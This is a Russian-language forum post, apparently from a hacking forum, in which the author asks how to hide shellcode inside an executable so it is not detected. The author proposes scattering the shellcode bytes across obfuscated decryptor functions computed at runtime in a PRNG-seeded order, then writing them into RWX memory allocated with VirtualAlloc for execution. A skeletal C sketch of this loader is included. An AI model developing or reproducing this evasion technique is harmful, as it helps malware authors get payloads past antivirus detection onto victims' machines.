Пожалуйста, обратите внимание, что пользователь заблокирован
Собственно вопрос в заголовке, у кого какие идеи есть? Есть условный массив байт (шеллкод), его нужно скопировать в RWX-память и выполнить. Но как его хранить в самом файле? Понятное дело просто массивом - палево.
Есть идея разбросать все данные по коду, каждый байт высчитывать в рантайме, упрощённый пример:
Т.е своеобразный декриптор, который можно легко как-либо морфить/обфусицировать. Флоу выполнения функций-декрипторов можно генерировать с помощью ГПСЧ с заданным сидом. Каждая функция-декриптор записывает рандомное число байт.
Есть идея разбросать все данные по коду, каждый байт высчитывать в рантайме, упрощённый пример:
C:
DWORD index;
DWORD plus(DWORD a, DWORD b)
{
return a + b;
}
DWORD mul(DWORD a, DWORD b)
{
return a * b;
}
void f1(BYTE* mem)
{
mem[index++] = mul(plus(1, 2), 1);
...
}
void f2(BYTE* mem)
{
mem[index++] = mul(21, 3);
...
}
int main()
{
DWORD shellSize = 5;
BYTE* shellMem = (BYTE*)VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD flow[] = { 2, 1, ... };
for (DWORD i = 0; i < sizeof(flow), i++)
{
switch (i)
{
case 1:
f1(shellMem);
break;
case 2:
f2(shellMem);
break;
case ...:
...
break;
}
}
// по итогу shellMem = {0x3F, 0x03, ...}
return 0;
}